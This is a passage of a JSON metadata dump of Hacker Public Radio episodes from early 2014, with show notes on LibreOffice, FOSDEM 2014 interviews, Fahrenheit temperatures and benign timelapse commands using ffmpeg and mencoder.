      ","hostid":273,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Android,tablet,F-Droid,OwnCloud","version":0,"downloads":1638,"valid":1}, {"id":1435,"date":"2014-01-31","title":"21 - LibreOffice Writer Frame Properties Completed","duration":1000,"summary":"The second of two programs about Frame properties in LibreOffice Writer","notes":"

      \nThis is the second of two programs that look at Frame properties in LibreOffice Writer. In the first program we looked at how to size and position Frames. Here we look at other things you can do, such as name your frames for linking, wrap text around frames, set the borders and backgrounds, and even add columns to the frame. This finishes the look at the Properties window and what you can do there.\n

      \n\n

      Links

      \n

      \nThis tutorial can be found in written form on my Web site at https://www.ahuka.com/?page_id=652\n

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"libreoffice,frame properties","version":0,"downloads":1431,"valid":1}, {"id":1436,"date":"2014-02-03","title":"2013-2014 HPR New Year Show 2013-2014 After Show 1 of 4","duration":12207,"summary":"After show part 1/4 following the 2013-2014 New Year Show","notes":"

      \nFollowing on from the end of the \"official\" recorded session, the HPR community were not talked out and continued on for another 26 hours.\n

      ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2014","version":0,"downloads":1386,"valid":1}, {"id":1437,"date":"2014-02-04","title":"2013-2014 HPR New Year Show 2013-2014 After Show 2 of 4","duration":13762,"summary":"After show part 2/4 following the 2013-2014 New Year Show","notes":"

      \nFollowing on from the end of the \"official\" recorded session, the HPR community were not talked out and continued on for another 26 hours. \n

      ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2014","version":0,"downloads":1325,"valid":1}, {"id":1438,"date":"2014-02-05","title":"2013-2014 HPR New Year Show 2013-2014 After Show 3 of 4","duration":14029,"summary":"After show part 3/4 following the 2013-2014 New Year Show","notes":"

      \nFollowing on from the end of the \"official\" recorded session, the HPR community were not talked out and continued on for another 26 hours. \n

      ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2014","version":0,"downloads":1298,"valid":1}, {"id":1439,"date":"2014-02-06","title":"2013-2014 HPR New Year Show 2013-2014 After Show 4 of 4","duration":18639,"summary":"After show part 4/4 following the 2013-2014 New Year Show","notes":"

      \nFollowing on from the end of the \"official\" recorded session, the HPR community were not talked out and continued on for another 26 hours. \n

      ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2014","version":0,"downloads":1383,"valid":1}, {"id":1440,"date":"2014-02-07","title":"Creating a Key Pair - GUI Client","duration":966,"summary":"Using a GUI client (KGpg) to generate an RSA key pair.","notes":"

      In the previous program we explained how to use the command line tools to generate encryption keys. This time we look at the GUI clients that some people may prefer. Using KGpg as an example, we can see that it does all the things we did last time on the command line.

      ","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Security, encryption, keys, GUI","version":0,"downloads":1564,"valid":1}, {"id":1441,"date":"2014-02-10","title":"Jono Bacon and Stuart Langridge talk with pokey","duration":7821,"summary":"Jono Bacon @jonobacon and Stuart Langridge @sil talk with pokey about how they think he got it wrong","notes":"

      Jono Bacon and Stuart Langridge were not entirely pleased with the things pokey had to say about them in the Hacker Public Radio New Years Eve Show episode 1418. They graciously contacted HPR and asked for a chance to clear the air. In this episode pokey has a chat with them about their views on Free and Open Source Software (FOSS) and advocacy.

      \n ","hostid":128,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Open Source,GUI,CLI","version":0,"downloads":1657,"valid":1}, {"id":1442,"date":"2014-02-11","title":"Google Summer of Code","duration":1318,"summary":"Google Summer of Code is a global program that pays students to write code for open source projects","notes":"

      \n\n[GSoC 2014] Mentoring organization application deadline. Fri Feb 14, 2014 11am – 12pm Pacific Time\n\n

      \n

      Google Summer of Code is a global program that offers students stipends to write code for open source projects. We have worked with the open source community to identify and fund exciting projects for the upcoming summer.

      \n

      \nFor more information see: https://www.google-melange.com/\n

      \n ","hostid":161,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Google,GSoC,Summer of Code","version":0,"downloads":1363,"valid":1}, {"id":1443,"date":"2014-02-12","title":"Fahrenheit 0-100","duration":1033,"summary":"The Fahrenheit scale DOES make sense! Just don't add water.","notes":"

      \nThe Fahrenheit scale DOES make sense! Just don't add water.\n

      \n
      \nComparing temperature points:\n  ºC      ºF     ºK       ºR\n-273    -460      0        0  Absolute zero\n -40     -40    233      420  C = F\n -18       0    255      460  Coldest of the year?\n   0      32    273      492  Water freezes\n  10      50    283      510  Spring or Fall day?\n  23      73.4  296      533  Better room temp\n  25      77    298      537  Room temp\n  37      98.6  310      558  Human body temp\n  38     100    311      580  Hottest of the year?\n  85     185    358      645  This one sticks with me\n 100     212    373      672  Water Boils\n 125     257    398      717  Maximum silicon chip\n 371     700    644     1160  Soldering iron tip\n
      \n\n

      \nThe scales and the people:\n

      \n\n\n","hostid":275,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"temperature scale,Fahrenheit,Celsius,centigrade,Kelvin,Rankine","version":0,"downloads":1359,"valid":1}, {"id":1444,"date":"2014-02-13","title":"What is Firefox OS?","duration":805,"summary":"A short introduction to Mozilla's Firefox OS mobile operating system and what it is","notes":"

      \nA short introduction to Mozilla's Firefox OS mobile operating system and what it is. Discussed are what devices are available and what devices Firefox OS can run on.\n

      \n

      \nLinks:\n

      \n\n","hostid":274,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Firefox OS","version":0,"downloads":1585,"valid":1}, {"id":1445,"date":"2014-02-14","title":"22 - LibreOffice Writer Other Frame Styles","duration":606,"summary":"This continues our look at frames by looking at frame styles for things other than text.","notes":"

      \nThis continues our look at frames by looking at frame styles for things other than text.\n

      \n\n

      LibreOffice Writer Other Frame Styles

      \n

      In the previous tutorial we looked at using the frame style for text, which is not called the Text style, but the Frame style, which may be confusing. This is a very common use of frames, but there are others. To start the discussion, let’s get back to the basic concept of objects. LibreOffice is an object-oriented program and you should keep this in mind when dealing with this software.

      \n

      A piece of text can be an object, and it can contain other objects (paragraphs, sentences, words, characters), or it can be contained within other objects (section, chapter, document). In the case we are looking at, a frame is an object, which contains other objects, and is in turn contained within larger objects (page, section, document). Depending on the objects being contained, the frame styles can be different, and that is what we need to look at now.

      \n

      \nPlease see https://www.ahuka.com/?page_id=671 for the rest of the article\n

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Writer, Word Processing, Page Layout","version":0,"downloads":1312,"valid":1}, {"id":1446,"date":"2014-02-17","title":"Interview with Fernando H. F. Botelho from the F123 group","duration":2817,"summary":"In today's show Ken talks to Fernando H. F. Botelho from the F123 group.","notes":"

      \nIn today's show Ken talks to Fernando H. F. Botelho from the F123 group.\n

      \n
      \nThe F123 Group, which includes Botelho & Paula Consultoria Empresarial Ltda., F123 Consulting, and F123 Software, designs and manages projects in the areas of poverty reduction, technology, and disability. The group provides NGOs, educational institutions, foundations, government agencies, individuals, and international organizations with project management and technical development services, as well as professional low-cost software and training for blind and visually impaired persons.\n
      \n

      \nDuring the discussion we discuss the different approaches to helping accessibility on Linux. You can email them on info@f123.org, or by following them on twitter: https://Twitter.com/F123org\n

      \n\n

      Links

      \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"interview,accessibility,Sonar Linux,Vinux,eSpeak,Festival,MARY TTS","version":0,"downloads":1286,"valid":1}, {"id":1447,"date":"2014-02-18","title":"HPR Coverage at FOSDEM 2014 Part 1/5","duration":5925,"summary":"FOSDEM 2014 Report, part 1","notes":"

      HPR Coverage at FOSDEM 2014

      \n

      \nThe following are a series of interviews recorded at FOSDEM 2014.\n

      \n
      \nFOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate.\n
      \n

      \nFor more information see the website https://fosdem.org/2014/, where you can watch a recording of the many talks https://video.fosdem.org/2014/\n

      \n

      \"\"
      An example of one of the many FOSDEM signs.

      \n

      Day1

      \n

      00:00:30 Introduction

      \n

      Ken and Dave introduce the show

      \n\n

      00:01:55 FOSDEM Volunteers

      \n

      \nThe first chat was with Kristof Provost. By day a Embedded Software Engineer, but at fosdem he transforms into a cloak room attendant and we chat about how you can help out at FOSDEM.
      \nhttps://www.codepro.be\n

      \n

      00:04:52 OSGeo project

      \n

      \nNext was a chat with Anne Ghisla from the OSGeo project.\n

      \n
      \nThe Open Source Geospatial Foundation
      \nOSGeo was created to support the collaborative development of open source geospatial software, and promote its widespread use. Join us by signing up to our mailing lists or check out the Getting Started page to become more involved.\n
      \n

      \nhttps://www.osgeo.org/\n

      \n\n

      \"\"
      Dirk Frigne and Anne Ghisla

      \n\n

      00:08:29 Geomajas

      \n

      \"\"
      Sample folders at the booth

      \n

      \nFollowing on we talk to Dirk Frigne\n

      \n
      \nWhat is Geomajas?
      \nGeomajas is an enterprise-ready open source GIS framework for the web. It has client-server integration for displaying and editing of geographic data.
      \nGeomajas has integrated security and is endlessly scalable. It is compliant with OGC standards such as WMS, WFS, etc and also supports spatial databases.
      \nIt integrates with your system and provides out-of-the-box functionality through plug-ins. By leveraging GWT on the client, development is all-Java making it easier and more efficient for your team.\n
      \n

      \nhttps://geomajas.org/\n

      \n\n

      00:16:09 OpenStreetMap

      \n

      \nLast in the mapping trio we speak to Gaël Musquet, président d'OpenStreetMap France.\n

      \n

      \"\"
      Open Street Map demos Sat devices

      \n

      \"\"
      The tuner referred to in the interview

      \n

      \"\"
      The pc referred to in the interview

      \n
      \nOpenStreetMap powers map data on hundreds of web sites, mobile apps, and hardware devices. OpenStreetMap is built by a community of mappers that contribute and maintain data about roads, trails, cafés, railway stations, and much more, all over the world.\n
      \n

      \nhttps://www.openstreetmap.org/about
      \nhttps://learnosm.org/en/\n

      \n\n

      00:39:46 Libre Graphics magazine

      \n

      \nChanging the pace from mapping we get to talk with ginger \"all-lower-case\" coons :) about producing the Libre Graphics magazine using all Free Software\n

      \n
      \nA Libre Graphics Magazine is long overdue. In a market dominated by magazines devoted to design discourse built around proprietary tools and the latest computer graphics tricks and techniques, users of Libre Graphics software are underserved and unrecognized. We know that these users exist, both professionally and as hobbyists. We know this because we are they. We are graphic designers, media artists, photographers and web designers. We use Libre Graphics software, quietly and without regard. Our peers, used to proprietary alternatives, question our choice of tools. Our work, when executed well, is indistinguishable from work produced by more traditional means. Thus, our choices are invisible, unless we make an issue of them.\n
      \n

      \nhttps://libregraphicsmag.com\n

      \n\n

      00:45:18 openSUSE

      \n

      \nNext we talk to Richard Brown one of the board members of the openSUSE team.\n

      \n
      \nopenSUSE is a free and Linux-based operating system for your PC, Laptop or Server. You can surf the web, manage your e-mails and photos, do office work, play videos or music and have a lot of fun!\n
      \n

      \nhttps://www.opensuse.org/en/
      \nhttps://sysrich.co.uk/
      \nhttps://en.opensuse.org/openSUSE:Board\n

      \n\n

      00:56:48 The Debian Project

      \n

      \nDebian developer and T-Shirt salesman, Joost van Baal-Ilić takes some time away from the booth to give us the run down on Debian.\n

      \n
      \nThe Debian Project is an association of individuals who have made common cause to create a free operating system. This operating system that we have created is called Debian.\n\nAn operating system is the set of basic programs and utilities that make your computer run. At the core of an operating system is the kernel. The kernel is the most fundamental program on the computer and does all the basic housekeeping and lets you start other programs.\n\nDebian systems currently use the Linux kernel or the FreeBSD kernel. Linux is a piece of software started by Linus Torvalds and supported by thousands of programmers worldwide. FreeBSD is an operating system including a kernel and other software.\n
      \n

      \nhttps://www.debian.org/
      \nhttps://ad1810.com/\n

      \n\n

      01:08:04 HelenOS

      \n

      \nGoogle Summer of Code mentors Martin Děcký, and Jakub Jermář talk to us about HelenOS, a project which has mentored GSOC student coders.\n

      \n

      \"\"
      Martin Děcký, and Jakub Jermář

      \n

      \"\"
      HelenOS Screen Shot

      \n\n
      \nHelenOS is an operating system based on a multiserver microkernel design. Rather sooner than later, HelenOS will become a complete and usable modern operating system, offering room for experimenting and research. HelenOS uses its own microkernel written from scratch and supports SMP, multitasking and multithreading on both 32-bit and 64-bit, little-endian and big-endian processor architectures, among which are AMD64/EM64T (x86-64), ARM, IA-32, IA-64 (Itanium), 32-bit MIPS, 32-bit PowerPC and SPARC V9. Thanks to the relatively high number of supported architectures and suitable design, HelenOS is very portable. On top of the microkernel, HelenOS provides services such as file systems, networking, device drivers and user interface. Most of these services are composed of multiple independent server processes, which makes HelenOS one of the most modular operating systems.\n
      \n

      \nhttps://www.helenos.org/
      \nhttps://jakubsuniversalblog.blogspot.nl/
      \nhttps://twitter.com/mdecky\n

      \n\n

      01:23:28 CAcert

      \n

      \nI took Michael Tänzer away from checking passports and drivers licenses to explain to us what's the idea behind CACert.org\n

      \n
      \nCAcert.org is a community driven Certificate Authority that issues certificates to the public at large for free. CAcert's goal is to promote awareness and education on computer security through the use of encryption, specifically with the X.509 family of standards. We have compiled a document base (Wiki) that has helpful hints and tips on setting up encryption with common software, and general information about Public Key Infrastructures (PKI). CAcert Inc. is a non-profit association, incorporated in New South Wales, Australia.\n
      \n

      \nhttps://www.cacert.org/\n

      \n\n

      Music

      \n
      \nTrack name                               : Free Software Song\nPerformer                                : Fenster\nRecorded date                            : 2002\nCopyright                                : Copyright (C) 2002, \nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \nprovided this notice is preserved. \nPerformers: \nPaul Robinson (vocals), \nRoman Kravec (guitar), \nEd D'Angelo (bass), \nDave Newman (drums), \nBrian Yarbrough (trumpet), \nTony Moore (trumpet). \nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\n
      \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM,2014,interviews","version":0,"downloads":1622,"valid":1}, {"id":1448,"date":"2014-02-19","title":"Intro to cable cutting","duration":1633,"summary":"Moving away from Cable or Satellite TV","notes":"

      \nMy Antenna - LAVA HD2605 Motorized Outdoor HDTV Antenna\n

      ","hostid":190,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Cable Cutting, cord cutting","version":0,"downloads":1516,"valid":1}, {"id":1449,"date":"2014-02-20","title":"Timelapse Video","duration":698,"summary":"A quick introduction to timelapse video and some of the tools used in linux to help create them. ","notes":"

      \nA quick introduction to timelapse video and some of the tools used in linux to help create them. \n

      \n

      \ncd to dir that holds the images\n

      \n

      \nCreate a directory called resize and run\n

      \n

      \n \"mogrify -path resize -resize 1920x1080! *.JPG\" \n

      \n

      \nIf you need to Deflicker your images place the script in your resize directory \nand run\n

      \n

      \n \"./timelapse-deflicker.pl -v\"\n

      \n

      \nThis will create a dir called deflickered\n

      \n

      \nIf you use mencoder to create your video you need to use ls and make a text \nfile with the files listed in sequential order\n

      \n

      \n \"ls -1tr | grep -v files.txt > files.txt\"\n

      \n

      \nthen\n

      \n

      \n \"mencoder -nosound -noskip -oac copy -ovc copy -o outputfile.avi -mf fps=25 'mf://@files.txt'\n

      \n

      \nif you use ffmpeg something like this should get you out of trouble, though \nyour files need to be named in sequential order starting with img(number 1 2 etc).jpg \n

      \n

      \n \"ffmpeg -f image2 -i img%d.jpg -vcodec libx264 outputfile.mp4\"\n

      \n

      \nYoutube links\n

      \n

      \n Milkyway \n

      \n

      \n https://youtu.be/VeGM7iEBUT0\n

      \n

      \n Construction\n

      \n

      \n https://youtu.be/-9iCGD6Ielw\n

      \n

      \nDeflicker script\n

      \n

      \nhttps://tinyurl.com/p7ffof7\n

      ","hostid":232,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"time lapse,linux,ffmpeg,cameras,photography,mencoder","version":2,"downloads":224,"valid":1}, {"id":1450,"date":"2014-02-21","title":"My Mobile digital life","duration":1587,"summary":"Knightwise shows us how he stays sane during 3 hour commutes and how he safely tunes tech into his d","notes":"

      \nPodcasting from the car Knightwise shows us what his morning routine looks like and how he uses technology during his daily 3 hour commute. With some clever tips on using audio and voice technology to stay in touch with tech, stay sane and more importantly, stay safe.\n

      \n

      \nShownotes My Mobile Life.\n

      \n\n\n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"knightwise, hacks, lifehacks, howto, mobile, car, drive, safe, technology","version":0,"downloads":1510,"valid":1}, {"id":1451,"date":"2014-02-24","title":"Jeremy Allison ~ the SAMBA project","duration":4462,"summary":"FOSDEM 2014 Report, part 2","notes":"

      HPR Coverage at FOSDEM 2014

      \n

      The following are a series of interviews recorded at FOSDEM 2014.

      \n
      FOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate.
      \n

      For more information see the website https://fosdem.org/2014/, where you can watch a recording of the many talks https://video.fosdem.org/2014/

      \n

      Jeremy Allison ~ the SAMBA project

      \"Ken

      For some reason my Zoom H2 failed to record this interview. Based on past experience I'm more inclined to blame the operator than the device so the audio is taken from the backup recording device, a Sansa Clip. As we say at HPR, any recording is better than no recording so any strange audio artefacts are a result of that.

      \n \n

      From wikipedia:
      Jeremy Allison is a computer programmer known for his contributions to the free software community, notably to Samba, a re-implementation of SMB/CIFS networking protocol, released under the GNU General Public License.

      \n \"LNUX\n

      \"\"
      Jeremy working the booth.

      \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM,2014,interview,Jeremy Allison,SAMBA","version":0,"downloads":1560,"valid":1}, {"id":1452,"date":"2014-02-25","title":"HPR Coverage at FOSDEM 2014 Part 3","duration":8189,"summary":"FOSDEM 2014 Report, part 3","notes":"

      HPR Coverage at FOSDEM 2014

      \n

      \nThe following are a series of interviews recorded at FOSDEM 2014.\n

      \n
      \nFOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate.\n
      \n

      \nFor more information see the website https://fosdem.org/2014/, where you can watch a recording of the many talks https://video.fosdem.org/2014/\n

      \n\n

      \"\"
      A properly stocked fridge.

      \n\n

      Day 1 Part 3, Day 2 Part 1

      \n\n

      00:00:30 The TOR Project

      \n

      \nThe next on our list of booths to visit was the Tor project at the Mozilla stand.\n

      \n
      \nTor is free software and an open network that helps you defend against traffic analysis, a form of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security.\n
      \n

      Links

      \n\n\n

      00:13:22 EPFSUG, Free Software User Group inside the European Parliament

      \n

      \nNext we spoke to the Erik Josefsson about the need for as many people as possible to register as a Supporter of Free Software on the spfsug website. Please take some time to do that now.\n

      \n
      \n

      The European Parliament Free Software User Group is an open community of staff, assistants and Members of the European Parliament, and of supporters from the free software community. Its goals are to:

      \n
        \n
      • Assist people interested in using free software in the European Parliament
      • \n
      • Drive adoption of free software in the European Parliament's information infrastructure
      • \n
      • Push for use of open standards, to ensure equal access for citizens using free software
      • \n
      • Work in cooperation with like-minded groups in Europe and around the world
      • \n
      \n
      \n

      Links

      \n\n\n

      00:27:07 KDE

      \n

      \nOver at the KDE booth, I managed to track down Jonathan Riddell about the KDE project. From Wikipedia:\n

      \n
      \nKDE is an international free software community producing an integrated set of cross-platform applications designed to run on Linux, FreeBSD, Solaris, Microsoft Windows, and OS X systems. It is known for its Plasma Desktop, a desktop environment provided as the default working environment on many Linux distributions, such as openSUSE, Mageia and Kubuntu and is default desktop environment on PC-BSD a BSD operating system.
      \n\nThe goal of the community is to provide basic desktop functions and applications for daily needs as well as tools and documentation for developers to write stand-alone applications for the system. In this regard, the KDE project serves as an umbrella project for many standalone applications and smaller projects that are based on KDE technology. These include Calligra Suite, digiKam, Rekonq, K3b, and many others.
      \n\nKDE software is based on the Qt framework. The original GPL version of this toolkit only existed for the X11 platform, but with the release of Qt 4, LGPL versions are available for all platforms. This allows KDE software based on Qt 4 to also be distributed to Microsoft Windows and OS X.\n
      \n

      \nAbout KDE\n

      \n
      \nThe KDE Community is an international technology team dedicated to creating a free and user-friendly computing experience, offering an advanced graphical desktop, a wide variety of applications for communication, work, education and entertainment and a platform to easily build new applications upon. We have a strong focus on finding innovative solutions to old and new problems, creating a vibrant atmosphere open for experimentation.\n
      \n

      \nAbout Kubuntu\n

      \n
      \nKubuntu is an operating system built by a worldwide team of expert developers. It contains all the applications you need: a web browser, an office suite, media apps, an instant messaging client and many more. Kubuntu is an open-source alternative to Windows and Office.\n
      \n\n

      Links

      \n\n\n

      00:50:13 Drupal

      \n

      \nBumping into old friends is all part of the FOSDEM experience. Never one for missing an opertunity to turn a chat into an episode, I catch up with Paul Krischer, who tells us about his work with Drupal. Keep your diary clear for drupalcon Amsterdam, which will be held 29 SEP - 03 OCT.\n

      \n
      \nDrupal is an open source content management platform powering millions of websites and applications. It's built, used, and supported by an active and diverse community of people around the world.\n
      \n\n

      Links

      \n\n\n

      00:55:00 Mozilla

      \n

      \nAfter a long night \"discovering\" Brussels using the public transport system, we track down Brian King the European Community Builder for Mozilla. We talk about the Mozilla phone.\n

      \n

      \"\"
      The mozilla team.

      \n
      \nAt Mozilla, we're a global community of technologists, thinkers and builders working together to keep the Internet alive and accessible, so people worldwide can be informed contributors and creators of the Web. We believe this act of human collaboration across an open platform is essential to individual growth and our collective future.\n
      \n

      Links

      \n\n\n

      01:07:09 GNOME

      \n

      \nWe talk to Tobias Müller who is on the board of directors for the GNOME project.\n

      \n
      \nGNOME 3 is an easy and elegant way to use your computer. It is designed to put you in control and bring freedom to everybody. GNOME 3 is developed by the GNOME community, a diverse, international group of contributors that is supported by an independent, non-profit foundation.\n
      \n

      Links

      \n\n\n

      01:12:52 CentOS

      \n

      \nStarting a series of RedHat interviews we interview Jim Perrin Governing Board member of the CentOS project.\n

      \n\n

      \"\"
      The CentOS trio.

      \n
      \nThe CentOS Linux distribution is a stable, predictable, manageable and reproduceable platform derived from the sources of Red Hat Enterprise Linux (RHEL). We are now looking to expand on that by creating the resources needed by other communities to come together and be able to buld on the CentOS Linux platform. And today we start the process by delivering a clear governance model, increased transparency and access. In the coming weeks we aim to publish our own roadmap that includes variants of the core CentOS Linux.\n
      \n

      Links

      \n\n\n

      01:23:08 RedHat: Foreman, oVirt, and Open Stack

      \n

      \nDaniel Lobato and Doran Fedu help me understand what Foreman, oVirt, and OpenStack is all about.\n

      \n

      Foreman

      \n
      \nForeman is an open source project that gives system administrators the power to easily automate repetitive tasks, quickly deploy applications, and proactively manage servers, on-premises or in the cloud. (From Wikipedia) Foreman (also known as The Foreman) is a complete life cycle systems management tool for physical and virtual servers with deep integration to configuration management software, specifically Puppet. The Foreman provides provisioning on bare-metal (through managed DHCP, DNS, TFTP, and PXE-based unattended installations), virtualization and cloud. The Foreman provides comprehensive, auditable interaction facilities including a web frontend, command line interface and robust, REST API.\n
      \n

      oVirt

      \n
      \noVirt manages virtual machines, storage and virtualized networks. (From Wikipedia) oVirt is a free platform virtualization management web application community project started by Red Hat. oVirt is built on libvirt which could allow it to manage virtual machines hosted on any supported backend, including KVM, Xen and VirtualBox. However, oVirt is currently focused on KVM alone. oVirt is an open source software with backing from Red Hat and it is the base for Red Hat Enterprise Virtualization.\n
      \n

      OpenStack

      \n
      \nOpenStack is a cloud operating system that controls large pools of compute, storage, and networking resources throughout a datacenter, all managed through a dashboard that gives administrators control while empowering their users to provision resources through a web interface.\n
      \n

      Links

      \n\n\n

      01:48:17 Fedora

      \n

      \nCompleting (for the most part) the RedHat thread we head over to the Fedora Project booth and talk to Jiří Eischmann and Jaroslav Řezník. Jiří is the chair of the Fedora Ambassador Steering Committee, and works for RedHat as a Community Manager. Jaroslav is the Fedora Program Manager.\n

      \n

      \"\"
      Fedora Friends

      \n
      \nFedora is a fast, stable, and powerful operating system for everyday use built by a worldwide community of friends. It's completely free to use, study, and share.\n
      \n

      Links

      \n\n

      Music

      \n
      \nTrack name : Free Software Song\nPerformer : Fenster\nRecorded date : 2002\nCopyright : Copyright (C) 2002,\nFenster LLC. Verbatim copying of this entire recording is permitted in any medium,\nprovided this notice is preserved.\nPerformers:\nPaul Robinson (vocals),\nRoman Kravec (guitar),\nEd D'Angelo (bass),\nDave Newman (drums),\nBrian Yarbrough (trumpet),\nTony Moore (trumpet).\nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\n
      \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM,2014,interviews","version":0,"downloads":1565,"valid":1}, {"id":1453,"date":"2014-02-26","title":"HPR Coverage at FOSDEM 2014 Part 4","duration":3979,"summary":"FOSDEM 2014 Report, part 4","notes":"

      HPR Coverage at FOSDEM 2014

      \n

      The following are a series of interviews recorded at FOSDEM 2014.

      \n
      FOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate.
      \n

      For more information see the website https://fosdem.org/2014/, where you can watch a recording of the many talks https://video.fosdem.org/2014/

      \n

      Day 2 Part 2

      \n

      00:00:30 OpenEmbedded

      \n

      We talk to Intel employee Paul Eggleton, who talked to us about OpenEmbedded and the yocto project.

      \n

      \"\"
      Paul Eggleton and Apelete Seketeli at the OpenEmbedded booth

      \n
      The Yocto Project is an open source collaboration project that provides templates, tools and methods to help you create custom Linux-based systems for embedded products regardless of the hardware architecture. OpenEmbedded offers a best-in-class cross-compile environment. It allows developers to create a complete Linux Distribution for embedded systems
      \n

      \"\"
      00:02:48 ODROID with external display showing a waterfall display as described in the interview.

      \n

      \"\"
      00:03:25 The Galileo board as described in the interview.

      \n

      \"\"
      00:05:16 The Intel MinnowBoard as described in the interview.

      \n

      \"\"
      00:06:57 Industrial controller from a cable layer as described in the interview.

      \n

      \"\"
      00:06:57 Industrial controller buttons

      \n

      \"\"
      00:07:40 Toshiba arm development board with a smaller lcd screen

      \n

      \"\"
      00:08:04 OUYA console out of case

      \n

      Links

      \n \n

      00:10:17 BSD

      \n

      We chat to Daniel Seuffert about the various BSD's.

      \n

      About FreeBSD:

      \n
      FreeBSD is an advanced computer operating system used to power modern servers, desktops and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices.
      \n

      About OpenBSD:

      \n
      The OpenBSD project produces a FREE, multi-platform 4.4BSD-based UNIX-like operating system. Our efforts emphasize portability, standardization, correctness, proactive security and integrated cryptography. As an example of the effect OpenBSD has, the popular OpenSSH software comes from OpenBSD.
      \n

      About NetBSD:

      \n
      NetBSD is a free, fast, secure, and highly portable Unix-like Open Source operating system. It is available for a wide range of platforms, from large-scale servers and powerful desktop systems to handheld and embedded devices. Its clean design and advanced features make it excellent for use in both production and research environments, and the source code is freely available under a business-friendly license. NetBSD is developed and supported by a large and vivid international community. Many applications are readily available through pkgsrc, the NetBSD Packages Collection.
      \n

      About PC-BSD®:

      \n
      PC-BSD® is a user friendly desktop Operating System based on FreeBSD. Known widely for its stability and security in server environments, FreeBSD provides an excellent base on which to build a desktop operating system. PC-BSD uses a host of popular open source window managers and uses a custom-tailored application installer that puts popular applications in easy reach of users.
      \n

      Links

      \n \n

      00:27:16 Olimex Ltd

      \n

      Tsvetan Usunov was giving away small penguin shaped arduino computers for free. The snag, you had to solder them yourselves. On day 1 over a hundred boards were soldered by programmers and all worked.

      \n
      Olimex Ltd is a leading provider for development tools and programmers for embedded market. The company has over 20 years’ experience in designing, prototyping and manufacturing printed circuit boards, sub-assemblies, and complete electronic products. We are established in 1991 in Plovdiv - the second largest city in Bulgaria.
      \n

      \"\"
      Tux powered led strips

      \n

      \"\"
      Tux measuring the temprature

      \n

      \"\"
      Tux led strips overview

      \n

      \"\"
      A10-OLinuXino, the small pc refered to in the openstreetmap interview

      \n

      \"\"
      Panel with keyboard

      \n

      \"\"
      A13-OLinuXino is a small server...

      \n

      \"\"
      .. with hard disk

      \n

      \"\"
      .. on it's side

      \n

      Links

      \n \n

      00:36:09 Pandora

      \n

      Next a chat with an Evildragon aka Michael Mrozek who talks to us about the OpenPandora device, and what's coming next.

      \n
      The Pandora is a handheld game console designed to take advantage of existing open source software and to be a target for homebrew development. The first copy was released in May 2008 and others in May 2010, and is developed by OpenPandora, which is made up of former distributors and community members of the GP32 and GP2X handhelds. When announcing the system, the designers of Pandora stated that it would be more powerful than any handheld video game console that had yet existed. It includes several features that no handheld game consoles have previously had, making it a cross between a handheld game console and a subnotebook.
      \n

      Links

      \n \n

      00:44:40 Python

      \n

      We stop by the Python booth and find out how to tame the beast.

      \n
      Python is a programming language that lets you work more quickly and integrate your systems more effectively. You can learn to use Python and see almost immediate gains in productivity and lower maintenance costs.
      \n

      Links

      \n \n

      00:49:55 Jenkins

      \n

      We talk to Kohsuke Kawaguchi the lead developer of Jenkins.

      \n

      \"\"
      KK and the Jenkins mascot

      \n

      \"\"
      The Jenkins mascot

      \n

      From Wikipedia:

      \n
      Jenkins is an open source continuous integration tool written in Java. The project was forked from Hudson after a dispute with Oracle. Jenkins provides continuous integration services for software development. It is a server-based system running in a servlet container such as Apache Tomcat. It supports SCM tools including AccuRev, CVS, Subversion, Git, Mercurial, Perforce, Clearcase and RTC, and can execute Apache Ant and Apache Maven based projects as well as arbitrary shell scripts and Windows batch commands. The primary developer of Jenkins is Kohsuke Kawaguchi. Released under the MIT License, Jenkins is free software.
      \n

      Links

      \n \n

      00:56:14 Puppet

      \n

      Over at the Puppet booth we talk to Eric Sorenson from PuppetLabs and Bert Van Vreckem from the Belgium Puppet user group.

      \n
      Puppet Open Source is a flexible, customizable framework available under the Apache 2.0 license designed to help system administrators automate the many repetitive tasks they regularly perform. As a declarative, model-based approach to IT automation, it lets you define the desired state - or the “what” - of your infrastructure using the Puppet configuration language. Once these configurations are deployed, Puppet automatically installs the necessary packages and starts the related services, and then regularly enforces the desired state. In automating the mundane, Puppet frees you to work on more challenging projects with higher business impact. Puppet Open Source is the underlying technology for Puppet Enterprise and runs on all major Linux distributions, major Unix platforms like Solaris, HP-UX, and AIX, and Microsoft Windows.
      \n

      Links

      \n \n

      Music

